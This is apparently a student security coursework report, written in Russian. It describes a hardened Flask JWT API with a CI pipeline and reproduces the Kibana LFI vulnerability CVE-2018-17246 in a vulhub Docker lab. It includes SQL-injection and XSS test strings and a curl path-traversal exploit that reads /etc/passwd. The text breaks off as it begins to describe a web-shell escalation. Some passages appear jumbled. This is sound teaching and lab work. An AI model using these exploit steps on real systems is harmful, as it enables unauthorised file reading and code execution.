
HDU IS Work 1 — защищённый REST API (Flask) с CI/CD (pytest + bandit + pip-audit) и анализом CVE-2018-17246
Защищённый REST API на Python/Flask, CI/CD через GitHub Actions (SAST + SCA + автоматизированные тесты), и полный анализ реальной CVE, воспроизведённой в среде Docker (Kibana LFI, CVE-2018-17246).
Имя: Guhaotian Номер HDU: 23320209
https://github.com/ght657/work1-secure-api (публичный)POST /auth/login — выдаёт подписанный JWT после проверки хеша пароля.GET /api/data — защищён JWT (Bearer-токен); возвращает записи текущего пользователя.GET /api/users/search?q= — защищённый эндпоинт чтения с параметризованным SQL-запросом.POST /api/posts (защищён JWT) демонстрирует защиту от хранимого XSS / экранирование вывода.Файл workflow: .github/workflows/ci.yml, запускается при каждом push в main.
| Задача | Инструменты | Что делает | Доказательство |
|---|---|---|---|
test | pytest 8 | запускает набор из 11 тестов | evidence/07_pytest_run.png |
sast | Bandit 1.8.0 | статический анализ app/, tests/ (JSON-отчёт загружается как артефакт) | evidence/08_bandit_report.png |
sca | pip-audit 2.8.0 | аудит зависимостей (JSON-отчёт загружается как артефакт) | evidence/09_pip_audit_report.png |
Конвейер завершается с ошибкой, если какой-либо тест не проходит или остаётся какая-либо находка SAST/SCA, поэтому красный конвейер означает, что исправление должно быть отправлено до слияния.
11 тестов, все проходят (pytest -q):
tests/test_api.py::test_login_success_issues_token PASSED
tests/test_api.py::test_login_wrong_password_rejected PASSED
tests/test_api.py::test_login_unknown_user_same_error_as_wrong_password PASSED
tests/test_api.py::test_passwords_stored_as_bcrypt_hashes PASSED
tests/test_api.py::test_data_endpoint_denied_without_token PASSED
tests/test_api.py::test_data_endpoint_denied_with_invalid_token PASSED
tests/test_api.py::test_data_endpoint_works_with_valid_token PASSED
tests/test_api.py::test_create_post_requires_token PASSED
tests/test_api.py::test_sqli_payload_treated_as_data PASSED
tests/test_api.py::test_sqli_union_payload_does_not_dump_table PASSED
tests/test_api.py::test_xss_payload_is_escaped_in_response PASSED
11 passed in 2.20s
Код приложения наш собственный, поэтому первый запуск естественно не содержит сторонних помех. Результат: 0 проблем:
Run started:...
Test results:
No issues identified.
Code scanned:
Total lines of code: 228
Total lines skipped (#nosec): 0
Total potential issues skipped due to specifically being disabled (e.g., #nosec BXXX): 0
pip-audit перечисляет все зависимости с известными CVE; первоначальный запуск выявил:
Found 19 known vulnerabilities in 3 packages
Name Version ID Fix Versions
------------- ------- ----------------- ------------
flask 3.0.3 PYSEC-2026-2151 3.1.3
pyjwt 2.9.0 PYSEC-2026-120 2.12.0
pyjwt 2.9.0 PYSEC-2025-183 ...
pyjwt 2.9.0 ... up to 2.15.0
python-dotenv 1.0.1 PYSEC-2026-2270 1.2.2
Всего 19 записей (Flask, PyJWT ×17, python-dotenv). Я обновился до исправленных версий:
Flask 3.1.3, PyJWT 2.15.0 и удалил python-dotenv (только необязательный помощник конфигурации —
исправленная версия 1.2.2 требует Python ≥ 3.10, тогда как venv аудита — 3.9).
После исправления:
No known vulnerabilities found
(evidence/08b_bandit_after_fix.png, evidence/09b_pip_audit_after_fix.png)
API был протестирован на классические атаки с помощью curl. Скриншоты находятся в evidence/:
POST /auth/login с username: "admin'--" возвращает 401 Invalid credentials —
поиск использует параметризованный запрос ORM к хешированным учётным данным, внедрённая
полезная нагрузка остаётся данными и никогда не становится SQL.
GET /api/users/search?q=%' OR '1'='1 → строка привязывается как параметр к
SELECT ... WHERE username LIKE ? (спецсимволы экранированы), поэтому она ничему не соответствует, и API
возвращает пустой список — ни ошибки, ни выгрузки всей таблицы.
POST /api/posts с title: "<script>alert('xss')</script>"; сервер сохраняет
сырую строку, но экранирует её при выводе (markupsafe.escape + jsonify), поэтому возвращаемая
полезная нагрузка — <script>alert('xss')</script> — браузер отображает её как текст, но не
выполняет. (Воспроизведение с отрисовкой в браузере показано в evidence/06_xss_readback.png.)
401 {"error": "Missing or malformed Authorization header"} (evidence/03_data_denied.png)200 + защищённые данные (evidence/04_data_with_token.png)401 (проверка подписи с HS256)401 (срок действия 60 минут)Authorization: Bearer <token>
(evidence/10_jwt_structure.png показывает структуру из 3 частей).Пароли хранятся в виде bcrypt-хешей (12 раундов) и никогда не возвращаются ни одним эндпоинтом
(тест test_passwords_stored_as_bcrypt_hashes).
/etc/passwd), и — поскольку уязвимый маршрут требует файл как
JS-модуль — если достижим путь с правом записи (например, через другую уязвимость или
сгенерированный временный файл), контролируемый атакующим JS может быть выполнен процессом Kibana.GET /api/console/api_server?apis=../../../../../../etc/passwd — параметр apis
передаётся в require() после лишь простой проверки пути, что позволяет последовательностям ..
выйти за пределы серверного каталога api и читать/выполнять произвольные файлы.Я использую публичный образ vulhub (уже опубликован, проверен как уязвимый):
vulhub/kibana:5.6.12 + vulhub/elasticsearch:5.6.16 — см.
CVE-2018-17246/docker-compose.yml (папка с тем же именем в этом репозитории).
cd CVE-2018-17246
docker compose up -d # kibana 5.6.12 + elasticsearch 5.6.16, UI on :5601
Шаг 1 — запуск LFI (Console API принимает путь apis, который разрешается как файл):
curl -i "http://localhost:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd"
Ответ — 500 (файл не является допустимым JS-модулем), но содержимое файла появляется в
журнале сервера — Kibana читает файл и пытается выполнить require() для него:
docker compose logs kibana | grep -i "passwd\|root:x"
Шаг 2 — эскалация до выполнения кода. Локальный JS-файл загружается как модуль тем же
маршрутом: /tmp/vulhub.js, содержащий крошечный «веб-шелл», который выполняет команду оболочки, когда
его экспортируемая функция вызывается через Console API: